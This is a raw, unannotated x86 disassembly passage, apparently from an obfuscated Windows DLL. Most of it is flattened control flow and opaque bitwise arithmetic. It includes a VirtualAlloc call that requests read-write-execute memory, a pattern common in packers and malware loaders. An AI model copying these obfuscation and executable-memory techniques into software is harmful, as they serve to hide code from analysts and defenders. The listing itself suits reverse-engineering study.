or ecx, ebx
and ebx, 0xfa8c8518
and edi, 0x5737ae7
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
xor edx, 0xebffcf72
xor ecx, 0x1400308d
mov edi, ecx
and edi, 0x39dfcb4d
mov ebx, edx
and ebx, 0xc62034b2
or ebx, edi
mov edi, ebx
xor edi, 0x39dfcb4d
mov eax, edi
or eax, 0xc8414880
xor ebx, 0x20
and eax, 0xcf454dc4
and ebx, 0x30800221
or ebx, eax
or ecx, 0x7040544
and ecx, 0xcf454dc4
and edx, 0x3ab01a
or edx, ecx
xor edx, ebx
xor edx, 0x8774694
and edi, 0x3ff341f1
or edi, edx
mov eax, edi
not eax
and edi, 0x58f1eb33
and eax, 0xa70e14cc
or eax, edi
mov dword [ebp - 0x14], eax
mov ecx, esi
xor ecx, 0x420fa929
and ecx, esi
mov eax, dword [ebp - 0x1c]
and eax, 0x33ccd1d9
and esi, 0xcc332e26
or esi, eax
mov eax, esi
xor eax, 0x40012020
xor esi, 0x20c8109
or esi, 0xbdf056d6
mov edx, esi
and edx, 0x960e4d91
and eax, 0x4001a028
or eax, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0x960e4d91
and ecx, 0x69f1b26e
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0x420fa929
mov edi, esi
xor edi, 0x4321e9b2
and edi, ecx
mov eax, edi
not eax
mov edx, eax
and edx, 0x5d08311d
and edi, 0xa2f7cee2
or edi, edx
mov ebx, ecx
or ebx, 0xfed1bf64
mov edx, esi
xor edx, 0x204082
or eax, ebx
and ebx, 0x5d08311d
and edx, 0x264082
or edx, ebx
xor edx, edi
not eax
or eax, edx
mov edi, eax
xor edi, 0x3edd016a
xor eax, 0xc122fe95
mov edx, eax
and edx, 0xd0306a7
and edi, 0xf2fcf958
or edi, edx
or ecx, 0x3ff341f1
xor esi, 0x80001000
or eax, ecx
and ecx, 0xd0306a7
and esi, 0xc00cb808
or esi, ecx
xor esi, edi
not eax
or eax, esi
mov edx, dword [ebp - 0x14]
mov edi, edx
xor edi, 0xa70e14cc
xor edx, 0x58f1eb33
mov dword [ebp - 0x14], edx
mov ecx, edi
and ecx, 0xaa130963
and edx, 0xa09610
or edx, ecx
xor edx, 0xa09610
mov ebx, edi
and ebx, 0x554c608c
or ebx, edx
mov ecx, eax
not ecx
mov edx, ecx
mov ecx, eax
and ecx, 0x99363b59
mov esi, edx
and edx, 0x66c9c4a6
or edx, ecx
not edx
or edx, eax
mov dword [ebp - 0x24], edx
and eax, 0xb22bcb9a
and esi, 0x4dd43465
or esi, eax
mov eax, ebx
xor eax, 0x38a121de
mov dword [ebp - 0x1c], eax
and eax, ebx
mov dword [ebp - 0x28], eax
mov eax, ebx
mov edx, ebx
not edx
mov dword [ebp - 0x2c], edx
mov ecx, edx
and ecx, 0x66c9c4a6
and eax, 0x99363b59
or eax, ecx
mov ebx, eax
xor ebx, edx
and ebx, eax
and edi, 0xd70c9a81
mov ecx, dword [ebp - 0x14]
and ecx, 0x28f3657e
or ecx, edi
mov eax, ecx
xor eax, 0x28f3657e
xor ecx, 0x110c1001
and ecx, 0x113c152b
mov edx, ecx
mov ecx, eax
and ecx, 0xeec3ead4
or ecx, edx
xor ecx, 0x880a2e72
and eax, 0x99363b59
or eax, ecx
mov edx, esi
xor edx, 0x4dd43465
mov dword [ebp - 0x14], edx
xor esi, 0xb22bcb9a
mov dword [ebp - 0x30], esi
mov ecx, esi
and ecx, 0xdf0c3fa3
and edx, 0x20f3c05c
or edx, ecx
xor edx, 0xb9c5fb05
mov ecx, edx
xor ecx, esi
and ecx, edx
mov esi, eax
not esi
mov edi, eax
xor edi, 0xb6318ce6
and edi, eax
mov edx, esi
and edx, 0xb6318ce6
or edx, edi
mov edi, esi
and edi, 0xf5052947
and eax, 0xafad6b8
or eax, edi
xor edx, ebx
xor eax, ebx
or esi, ebx
xor eax, 0xafad6b8
not esi
or esi, eax
mov eax, edx
xor eax, 0x49ce7319
xor edx, 0xb6318ce6
mov edi, edx
and edi, 0xb12e730b
and eax, 0x4ed18cf4
or eax, edi
xor eax, esi
or edx, esi
xor eax, 0x4ed18cf4
not edx
or edx, eax
mov eax, ecx
not eax
xor ecx, eax
mov esi, dword [ebp - 0x24]
and ecx, esi
xor ecx, eax
or eax, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0xc207dea3
and ecx, 0x3df8215c
or ecx, edi
xor ecx, eax
or esi, eax
xor ecx, 0x3df8215c
not esi
or esi, ecx
mov eax, esi
not eax
and eax, esi
xor esi, 0x6f52d116
xor eax, esi
xor edx, 0x6f52d116
mov edi, eax
xor edi, eax
not edi
and edi, edx
xor edi, eax
mov ecx, dword [ebp - 0x30]
and ecx, 0x1824036d
mov edx, dword [ebp - 0x14]
mov eax, edx
and eax, 0xe7dbfc92
or eax, ecx
xor eax, 0xe7dbfc92
mov ecx, eax
and ecx, 0x38a121de
and edx, 0xc75ede21
or edx, ecx
mov dword [ebp - 0x14], edx
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x2c]
and esi, ebx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x46ebccac
and esi, 0xb9143353
or esi, edx
mov dword [ebp - 0x1c], esi
mov esi, dword [ebp - 0x28]
mov edx, esi
not edx
or ecx, edx
and edx, 0x46ebccac
and esi, 0xb9143353
or esi, edx
xor esi, dword [ebp - 0x1c]
not ecx
or ecx, esi
xor ecx, dword [ebp - 0x14]
or eax, ebx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x318b9dd4
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xce74622b
and eax, 0x318b9dd4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xec1abaa1
and ecx, 0x13e5455e
or ecx, eax
mov eax, ecx
xor eax, 0x2014146
xor ecx, 0xec1abaa1
mov edx, edi
xor edx, ecx
and ecx, 0x3dfcaeb9
and eax, 0xc2035146
or eax, ecx
and edx, edi
xor eax, edi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x46616741
and edx, 0xb99e98be
or edx, esi
mov esi, eax
xor esi, 0x399c88b8
xor eax, 0xc2035146
or ecx, eax
and eax, 0x46616741
and esi, 0xb99e98be
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov edi, ecx
not edi
mov eax, edi
and eax, 0x9ee76984
mov edx, ecx
and edx, 0x6118967b
or edx, eax
mov eax, edx
xor eax, 0x4118827a
xor edx, 0x8e612880
and edx, 0xae613c81
and eax, 0x519ec37e
or eax, edx
mov edx, edi
and edx, 0xc36aa192
and ecx, 0x3c955e6d
or ecx, edx
xor edi, ecx
and edi, ecx
mov esi, eax
xor esi, 0x410a8112
or esi, 0x3c955e6d
mov ecx, edi
xor ecx, 0x7b1fce32
mov edx, ecx
and ecx, edi
not edi
and edx, edi
or edi, esi
mov dword [ebp - 0x14], edi
mov edi, esi
not esi
xor eax, 0xc16aa092
and eax, esi
or esi, 0x84e031cd
mov ebx, esi
and ebx, 0x43ca8042
and edi, 0x30114230
or edi, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x4bce8c42
and eax, 0x80202190
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov eax, edx
not eax
mov edi, eax
and edi, 0xdaeab9bd
and edx, 0x25154642
or edx, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0xdaeab9bd
and ecx, 0x25154642
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
xor eax, esi
mov ecx, dword [ebp - 0x14]
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
mov esi, dword [ebp - 0x18]
mov eax, esi
or eax, 0x34210
and eax, 0x9a43f316
mov edx, dword [ebp - 0x20]
mov ecx, edx
and ecx, 0x25080c61
or ecx, eax
mov eax, edx
mov edi, edx
or eax, 0x9a40b106
and eax, 0x9a43f316
and esi, 0x40b40088
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x40b74298
xor esi, 0xbf48bd67
mov ecx, esi
and ecx, 0xa01df648
mov edx, eax
and edx, 0x5fe209b7
or edx, ecx
xor edx, 0x6643cb98
or edx, esi
mov dword [ebp - 0x18], esi
mov ecx, edx
xor ecx, edx
or edi, 0xc65e3dd0
not ecx
and ecx, edi
xor ecx, edx
or edx, edi
not edx
or ecx, edx
mov edx, esi
and edx, 0x774c0e03
mov esi, eax
and esi, 0x88b3f1fc
or esi, edx
mov edx, esi
xor edx, 0x88b3f1fc
xor esi, 0x774c0e03
mov edi, esi
or edi, 0x8c202013
and edi, 0x9d602c1b
mov ebx, edx
and ebx, 0x22181340
or ebx, edi
mov edi, dword [ebp - 0x18]
or edi, 0x11400c08
and edi, 0x9d602c1b
and eax, 0x4087c0a4
or eax, edi
xor eax, ebx
and esi, 0x14f6adf7
mov edi, edx
and edi, 0xeb095208
or edi, esi
mov esi, edi
xor esi, 0x14f6adf6
and edx, 1
or edx, esi
mov esi, eax
xor esi, 0x48822024
xor eax, 0x33581f49
mov ebx, eax
and ebx, 0xa53dd6db
and esi, 0x5ac22924
or esi, ebx
xor edi, 0x4a000000
or eax, edx
and edx, 0xa53dd6db
and edi, 0x5ac22924
or edi, edx
xor edi, esi
not eax
or eax, edi
mov esi, eax
not esi
mov edx, eax
xor edx, 0xbde6924c
and edx, eax
or eax, 0x42196db3
mov edi, eax
and edi, 0x227686b4
and esi, 0x9d801048
or esi, edi
mov edi, edx
not edi
or eax, edi
and edi, 0x227686b4
and edx, 0xdd89794b
or edx, edi
xor edx, esi
mov esi, ecx
xor esi, 0xc65e3dd1
not eax
or eax, edx
mov edx, eax
xor edx, 0x42196db3
xor eax, 0xbde6924c
xor ecx, 0x39a1c22e
and edx, ecx
or ecx, eax
not ecx
and eax, esi
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x52d418d
and ecx, 0xfad2be72
or ecx, eax
mov eax, ecx
xor eax, 0x52d418d
xor ecx, 0x10020220
and ecx, 0x11060220
mov edx, eax
and edx, 0xa6208597
or edx, ecx
xor edx, 0xa6208597
and eax, 0x48d97848
or eax, edx
mov ecx, eax
xor ecx, 0x48d97848
xor eax, 0xb72687b7
mov esi, eax
and esi, ecx
mov edx, esi
not edx
mov edi, edx
and edi, 0x799ed608
and esi, 0x866129f7
or esi, edi
or edx, eax
and eax, 0x799ed608
and ecx, 0x866129f7
or ecx, eax
xor ecx, esi
not edx
or edx, ecx
mov edi, edx
mov eax, edx
xor eax, 0x613f6a5f
and eax, edx
not edx
xor edi, 0xa800080
mov esi, edi
or esi, 0x98c004a0
and esi, 0xb9f66ef0
and edx, 0x4009000f
or edx, esi
mov esi, eax
not esi
or edi, esi
and esi, 0xb9f66ef0
and eax, 0x4609910f
or eax, esi
mov esi, dword [ebp - 0x14]
mov ecx, esi
xor ecx, 0xfc99e062
xor eax, edx
not edi
or edi, eax
not eax
and eax, 0x9ec095a0
and edi, 0x613f6a5f
or edi, eax
mov edx, esi
mov eax, esi
xor eax, 0x3661f9d
xor edx, 0xb7910f2b
and edx, ecx
mov esi, edx
mov edx, eax
and edx, 0xfdb1ddcb
and ecx, 0x24e2234
or ecx, edx
not ecx
or ecx, eax
mov dword [ebp - 0x2c], ecx
and eax, 0x4b08ef49
or esi, eax
mov ebx, edi
not ebx
mov eax, edi
or eax, 0x3450021
and eax, 0xa7450221
mov edx, ebx
and edx, 0x4802fc4c
or edx, eax
mov eax, ebx
or eax, 0xa4000200
and eax, 0xa7450221
mov ecx, edi
and ecx, 0x10b80192
or ecx, eax
xor ecx, edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], esi
mov eax, esi
xor eax, 0xb4f710b6
mov dword [ebp - 0x20], eax
mov eax, esi
xor eax, 0x4b08ef49
mov dword [ebp - 0x24], eax
and eax, 0xef03fc46
mov edx, dword [ebp - 0x20]
and edx, 0x10fc03b9
or edx, eax
mov esi, edx
xor esi, 0x10fc03b9
xor edx, 0xe4027842
and edx, 0xf46a7be3
mov eax, esi
and eax, 0xb95841c
or eax, edx
xor eax, 0xf62459d7
and esi, 0x24e2234
or esi, eax
mov eax, ecx
xor eax, 0x13fd01b3
mov dword [ebp - 0x1c], eax
xor ecx, 0xec02fe4c
mov dword [ebp - 0x18], ecx
and ecx, 0xcc9eace7
mov eax, dword [ebp - 0x1c]
and eax, 0x33615318
or eax, ecx
and ebx, 0x24e2000
and edi, 0x234
or edi, ebx
mov ecx, dword [ebp - 0x2c]
mov ebx, ecx
not ebx
and ecx, 0xa7681b95
mov edx, ebx
and edx, 0x5897e46a
or edx, ecx
mov ecx, edx
xor ecx, 0x5897e46a
xor edx, 0x1220a837
and edx, ecx
and ebx, 0x4ab74c5d
or ebx, edx
or ecx, esi
mov edx, esi
xor esi, 0x40354c50
xor edx, 0x31083220
and edx, 0x3b8a322d
and esi, 0xc475cdd2
or esi, edx
xor esi, ebx
xor esi, 0x3b8a322d
not ecx
or ecx, esi
xor eax, 0x312f712c
or eax, dword [ebp - 0x18]
mov ebx, eax
not ebx
mov esi, edi
xor esi, 0x234
or esi, 0xfdb1ddcb
mov edx, ebx
xor edx, esi
and edx, ebx
and eax, 0x65cb0f5a
and ebx, 0x9a34f0a5
or ebx, eax
xor edi, 0x2042000
and esi, 0x65cb0f5a
and edi, 0x2042024
or edi, esi
xor edi, ebx
mov eax, edx
not eax
mov esi, eax
and esi, 0x70c3b61d
and edx, 0x8f3c49e2
or edx, esi
mov esi, edi
not esi
or eax, esi
and esi, 0x70c3b61d
and edi, 0x8f3c49e2
or edi, esi
xor edi, edx
not eax
or eax, edi
mov edi, ecx
not edi
mov esi, edi
and esi, 0xdea225ab
mov edx, ecx
and edx, 0x215dda54
or edx, esi
mov ebx, eax
not ebx
xor edx, ebx
xor edx, 0x215dda54
and edx, eax
and ebx, 0xa9fd5590
and eax, 0x5602aa6f
or eax, ebx
xor eax, edi
xor eax, 0x5602aa6f
and eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x8d47558e
and edx, 0x72b8aa71
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x8d47558e
and eax, 0x72b8aa71
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov dword [ebp - 0x2c], ecx
mov edi, dword [ebp - 0x14]
xor edi, 0x58c6bcd0
mov edx, dword [ebp - 0x20]
and edi, edx
mov eax, dword [ebp - 0x24]
and eax, 0xfe57d11a
and edx, 0x1a82ee5
or edx, eax
mov ecx, edx
xor ecx, 0x1a82ee5
mov esi, edx
xor esi, 0x12667d7c
and esi, ecx
or edi, esi
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x28]
xor edi, 0xffccadd5
mov ebx, edi
and ebx, dword [ebp - 0x18]
mov esi, ebx
not esi
mov eax, esi
and eax, 0x402f48da
and ebx, 0xbfd0b725
or ebx, eax
and edi, dword [ebp - 0x1c]
mov eax, edi
not eax
or esi, eax
and eax, 0x402f48da
and edi, 0xbfd0b725
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov edi, esi
xor edi, esi
not edi
and edi, dword [ebp - 0x14]
xor edi, esi
xor edx, 0xfe57d11a
mov esi, edx
and esi, 0xceb2649
and ecx, 0xf314d9b6
or ecx, esi
mov esi, dword [ebp - 0x1c]
or edx, esi
and esi, 0xceb2649
mov ebx, esi
mov esi, dword [ebp - 0x18]
and esi, 0xf314d9b6
or esi, ebx
xor esi, ecx
not edx
or edx, esi
mov eax, edi
not eax
mov esi, eax
and esi, 0x27bc9aba
and edi, 0xd8436545
or edi, esi
mov esi, edx
not esi
or eax, edx
and edx, 0x27bc9aba
and esi, 0xd8436545
or esi, edx
xor esi, edi
not eax
or eax, esi
mov edx, eax
not edx
and edx, 0xe69e3fee
and eax, 0x1961c011
or eax, edx
mov esi, eax
xor esi, 0x8e3202
xor eax, 0x614011
and eax, 0xe6714dfd
and esi, 0x198eb202
or esi, eax
mov edx, esi
xor edx, 0x198eb202
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
not eax
xor esi, 0xa0314c85
and esi, 0xa9b57c87
mov edi, edx
and edi, 0x564a8378
or edi, esi
mov esi, ecx
xor esi, 0x1b5a54f9
and esi, eax
and ecx, 0xe4a5ab06
or ecx, esi
mov esi, edi
xor esi, 0x564a8378
xor edi, 0xb2ef287e
and edi, esi
and edx, 0xe4a5ab06
or edx, edi
xor edx, ecx
or esi, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0xcdfa9ca9
and edx, 0x32056356
or edx, eax
xor edx, esi
xor edx, 0x32056356
or edi, esi
not edi
or edi, edx
mov edx, edi
not edx
mov eax, edx
or eax, 0xc480200
mov ecx, edi
or ecx, 0x100c023
and ecx, 0xd48c223
mov esi, edx
mov ebx, edx
and esi, 0x508425dc
or esi, ecx
and eax, 0xd48c223
mov edx, edi
mov ecx, edi
mov dword [ebp - 0x14], edi
and edx, 0xa2331800
or edx, eax
xor edx, esi
mov eax, edx
xor eax, 0x3129800
xor edx, 0x4cc040c
and eax, 0x5b12bbd0
and edx, 0xa4ed442f
or edx, eax
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
and eax, 0x204b9b04
and ecx, 0xdfb464fb
or ecx, eax
xor ecx, 0xdfb464fb
mov ebx, ecx
xor ebx, esi
and ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
mov dword [ebp - 0x1c], eax
mov eax, ebx
xor eax, 0x3cd8b357
and eax, ecx
mov ecx, ebx
and ecx, 0xc3274ca8
or ecx, eax
mov dword [ebp - 0x20], ecx
mov esi, edx
xor esi, 0xa4ed442f
mov edi, esi
or edi, 0xc3274ca8
mov ecx, edx
xor ecx, 0xa000
mov eax, edi
and eax, 0xfc16175a
and ecx, 0xc8a005
or ecx, eax
mov dword [ebp - 0x24], edx
xor edx, 0x9835f778
and edx, esi
mov eax, edx
not eax
or edi, eax
and eax, 0xfc16175a
and edx, 0x3e9e8a5
or edx, eax
xor edx, ecx
not edi
or edi, edx
xor edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
xor ecx, 0x5a000390
mov eax, esi
and eax, 0x81faf842
and ecx, 0x7e0507bd
or ecx, eax
or esi, ebx
and ebx, 0x81faf842
mov eax, dword [ebp - 0x1c]
and eax, 0x7e0507bd
or eax, ebx
xor eax, ecx
not esi
or esi, eax
not esi
or esi, edi
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xd38e751b
and eax, esi
and esi, 0x2c718ae4
or esi, ecx
mov ecx, esi
xor ecx, 0x28318804
xor esi, 0xd38e751b
mov edx, esi
and edx, 0x464e17e9
and ecx, 0xb9b1e816
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x464e17e9
and eax, 0xb9b1e816
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
and eax, 0xe0d773f
and esi, 0xf1f288c0
or esi, eax
mov edx, esi
xor edx, 0xc08522f
xor esi, 0x91800880
and esi, 0x93852d90
and edx, 0x6c7ad26f
or edx, esi
mov eax, edx
xor eax, 0xc20926d
xor edx, 0x93802880
and eax, 0xc25977d
and edx, 0xf3da6882
or edx, eax
mov eax, dword [ebp - 0x18]
and eax, 0x2cc778f7
mov edi, dword [ebp - 0x14]
and edi, 0xd3388708
or edi, eax
mov eax, edi
xor eax, 0xd3388708
xor edi, 0x2cc778f7
mov ecx, eax
or ecx, 0x10a00820
and ecx, 0x18a01d25
mov esi, edi
and esi, 0x805f00ca
or esi, ecx
mov ecx, edi
or ecx, 0x8001505
and ecx, 0x18a01d25
mov ebx, eax
and ebx, 0x6700e210
or ebx, ecx
xor ebx, esi
mov ecx, edx
xor ecx, 0xf3da6882
mov dword [ebp - 0x14], ecx
and eax, 0xf3c8c7d0
and edi, 0xc37382f
or edi, eax
mov ecx, edi
xor ecx, 0x30084200
xor edi, 0x802202f
and edi, 0xcbc2a5ff
and ecx, 0x343d5a00
or ecx, edi
mov edi, edx
xor edi, 0xc25977d
mov dword [ebp - 0x18], edi
xor ebx, 0x77a0ea30
xor ecx, 0x343d5a00
or ecx, ebx
mov eax, dword [ebp - 0x14]
and eax, 0xd0723186
and edi, 0x2f8dce79
or edi, eax
mov ebx, ecx
not ebx
mov dword [ebp - 0x1c], ebx
and ebx, 0xd0723186
mov eax, ecx
and eax, 0x2f8dce79
or eax, ebx
xor eax, edi
xor edx, 0x9a58ffcd
mov esi, dword [ebp - 0x14]
and edx, esi
mov ebx, dword [ebp - 0x1c]
or esi, ebx
not esi
or esi, eax
mov eax, dword [ebp - 0x18]
and eax, 0x6982974f
or edx, eax
mov eax, ecx
xor ecx, 0x967d68b0
and ecx, ebx
and eax, 0x9029608
and ebx, 0x60800147
or ebx, eax
mov edi, ebx
xor edi, 0x9f7ffeb8
mov eax, edi
and eax, 0xe0d5b5f7
and ebx, 0x9020208
or ebx, eax
mov eax, ecx
not eax
or edi, eax
and eax, 0xe0d5b5f7
and ecx, 0x1f2a4a08
or ecx, eax
xor ecx, ebx
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
not edi
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, edx
xor ecx, edi
mov eax, esi
xor eax, 0x2ecd19f7
and eax, esi
mov ebx, dword [ebp - 0x14]
and ebx, 0x2ecd19f7
or ebx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x4851143
and edx, 0x85a5314b
mov edi, eax
and edi, 0x5012c600
or edi, edx
xor edi, ebx
mov ebx, eax
or ebx, 0x81202008
and ebx, 0x85a5314b
mov edx, ecx
and edx, 0x2a4808b4
or edx, ebx
xor edx, edi
mov ebx, dword [ebp - 0x14]
mov edi, ebx
and edi, 0x66c936a5
and esi, 0x9936c95a
or esi, edi
or ebx, ecx
and ecx, 0x66c936a5
and eax, 0x9936c95a
or eax, ecx
xor eax, esi
mov esi, ebx
not esi
or esi, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x91174db9
and edx, 0x6ee8b246
or edx, ecx
xor edx, esi
xor edx, 0x6ee8b246
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x82805a71
and ecx, 0x7d7fa58e
or ecx, eax
mov eax, ecx
xor eax, 0x81fa180
xor ecx, 0x80000850
and ecx, 0xf5600c5e
and eax, 0xa9ff3a1
or eax, ecx
mov esi, eax
xor esi, 0xf5600c5e
mov edi, eax
xor edi, 0xa9ff3a1
mov edx, edi
or edx, 0xea7845a4
xor eax, 0x1f1849fa
and eax, edi
and edi, 0x285b9c96
mov ecx, esi
and ecx, 0xd7a46369
or ecx, edi
mov edi, edx
and edi, 0x5402d9d7
xor ecx, 0xd7a46369
or ecx, esi
and esi, 0x1852208
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0x5402d9d7
and eax, 0xabfd2628
or eax, edi
xor eax, esi
not edx
or edx, eax
xor edx, 0x1587ba5b
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xcf1e7603
mov esi, ecx
and esi, 0x30e189fc
or esi, edx
xor esi, 0x30e189fc
mov edx, esi
xor edx, eax
and edx, esi
and eax, 0x5110c8a7
and ecx, 0xaeef3758
or ecx, eax
mov eax, ecx
xor eax, 0x51104804
mov edi, edx
not edi
xor ecx, 0xaeef3758
mov esi, edi
or esi, ecx
not esi
and edi, 0x4a393f3
and edx, 0xfb5c6c0c
or edx, edi
and ecx, 0x4a393f3
and eax, 0xfb5c6c0c
or eax, ecx
xor eax, edx
or eax, esi
mov ecx, eax
not ecx
and ecx, 0x18c6cb03
and eax, 0xe73934fc
or eax, ecx
mov ecx, eax
xor ecx, 0x18c6cb03
xor eax, 0xe73934fc
mov edx, ecx
and edx, eax
and ecx, 0x745200b3
and eax, 0x8badff4c
or eax, ecx
xor eax, 0x745200b3
or eax, edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x3c493042
mov edx, eax
and edx, 0xc3b6cfbd
or edx, esi
mov esi, edx
xor esi, 0x20801
xor edx, 0x10091000
or edx, 0xefd4e156
mov edi, edx
and edi, 0xb028d7b8
and esi, 0x30801
or esi, edi
mov edi, eax
xor edi, 0x102b1ea9
and edi, eax
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0xb028d7b8
and edi, 0x4fd72847
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
xor esi, 0x102b1ea9
xor edx, 0xaad08052
mov edi, esi
and edi, 0x552e6fa4
and edx, 0xaad1905b
or edx, edi
or esi, eax
and eax, 0x552e6fa4
and ecx, 0xaad1905b
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
xor esi, 0xcec4d7ac
xor esi, 0x313b2853
sete dh
setne al
mov byte [ebp - 0x1c], al
cmp dword [0x10045904], 0xa
setge ch
setl ah
mov cl, al
and cl, ah
mov dl, ch
and dl, dh
or dl, cl
mov cl, ch
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
not bl
and bl, cl
xor bl, 1
mov bh, cl
xor bh, bl
or bl, cl
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
mov cl, bl
mov al, dl
or bl, dl
xor dl, 1
and cl, dl
and al, bh
or al, cl
xor dl, bh
xor bl, 1
or bl, dl
xor al, 1
mov cl, al
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov byte [ebp - 0x14], al
xor al, 1
mov byte [ebp - 0x18], al
mov cl, dh
xor cl, ch
mov al, dh
or al, ch
xor al, 1
or al, cl
and dh, ah
mov cl, byte [ebp - 0x1c]
or ah, cl
xor ah, 1
and ch, cl
or ch, dh
or ch, ah
mov ah, ch
not ah
and ah, ch
xor ah, 1
mov cl, ch
xor cl, ah
or ah, ch
xor ah, 1
or ah, cl
xor ah, 1
mov dh, al
xor dh, ah
or ah, al
mov al, ah
xor al, 1
and ah, dh
xor dh, 1
mov ecx, eax
xor cl, dh
and cl, al
and dh, al
or dh, ah
or dh, cl
mov ah, dh
xor ah, 1
mov bl, ah
and bl, dh
mov bh, bl
xor bh, 1
mov al, bh
and al, bl
mov cl, bh
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov cl, dh
xor cl, bh
mov ch, dh
or ch, bh
xor ch, 1
or ch, cl
mov cl, al
xor cl, 1
and cl, ch
xor ch, 1
and ch, al
mov dl, byte [ebp - 0x18]
and dl, byte [ebp - 0x14]
xor dl, 1
or ch, cl
xor ch, 1
or ah, bh
mov al, ch
xor al, ah
or ch, ah
xor ch, 1
or ch, al
mov al, dl
or al, byte [ebp - 0x14]
xor al, 1
mov cl, byte [ebp - 0x18]
or al, cl
or dl, cl
xor dl, 1
or dl, byte [ebp - 0x14]
and ah, dh
or bl, ah
xor ah, 1
or ah, bh
mov cl, al
xor cl, 1
xor ah, 1
or ah, bl
mov dh, dl
xor dh, 1
or dl, ah
xor ah, 1
or ah, dh
mov dh, ch
xor dh, 1
xor ah, 1
xor dl, 1
or dl, ah
mov ah, ch
and ah, al
and ch, cl
and cl, dh
or cl, ah
xor cl, 1
or cl, al
xor cl, 1
and dh, al
or dh, ch
or dh, cl
mov al, dh
xor al, 1
and al, dh
xor al, 1
mov cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov ch, al
xor ch, 1
mov ah, dl
xor ah, 1
mov cl, al
and cl, ch
xor cl, 1
or cl, ch
and ch, ah
and dl, al
or dl, ch
xor dl, 1
or dl, ah
xor cl, 1
or cl, al
xor cl, ah
mov eax, ecx
mov ah, cl
mov ch, dl
xor cl, dl
xor dl, 1
xor al, 1
and ah, dl
and ch, al
or ch, ah
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, ch
test cl, 1
mov edx, 0x46d78cef
mov esi, 0x8d4e49b4
cmovne edx, esi
test al, 1
mov eax, 0x46d78cef
cmovne eax, edx
test ch, 1
cmove eax, edx
jmp 0x1000f9b0
mov eax, 0xfff7fbca
jmp 0x1000f9b0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
push 0x40
push 0x1000
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
cmp dword [eax], 0
mov eax, 0x809cc6c4
mov ecx, 0x1f926380
cmove eax, ecx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x44]
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], ecx
and eax, 0x705eca8c
mov ecx, edx
mov dword [ebp - 0x18], edx
and ecx, 0x8fa13573
or ecx, eax
mov eax, ecx
xor eax, 0x200030
xor ecx, 0x24200
and ecx, 0x7025202
and eax, 0x3c00bc
or eax, ecx
mov edi, eax
xor edi, 0x340000
or edi, 0x80010801
xor eax, 0x1020000
and eax, 0x10a00bc
and edi, 0x86355a03
or edi, eax
mov ecx, esi
and ecx, 0x47e1348f
mov eax, edx
and eax, 0xb81ecb70
or eax, ecx
mov edx, eax
xor edx, 0xb81ecb70
xor eax, 0x4681148f
and eax, 0xd693d6ff
mov ecx, edx
and ecx, 0x296c2900
or ecx, eax
xor ecx, 0xd1ad8441
and edx, 0x73e52be
or edx, ecx
mov dword [ebp - 0x14], edx
mov ebx, edi
xor ebx, 0x6240000
mov eax, edi
xor eax, 0x79caa5fc
mov ecx, eax
and ecx, 0xf999f2c2
and ebx, 0x626003c
or ebx, ecx
mov ecx, ebx
xor ecx, 0x6660d3d
mov dword [ebp - 0x20], ecx
mov esi, ebx
xor esi, 0x5f93a46b
and esi, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x650f4830
and esi, 0x9ab0b2cf
or esi, ecx
or eax, 0xa60a56a9
xor edi, 0x300002
or edx, eax
and eax, 0x650f4c30
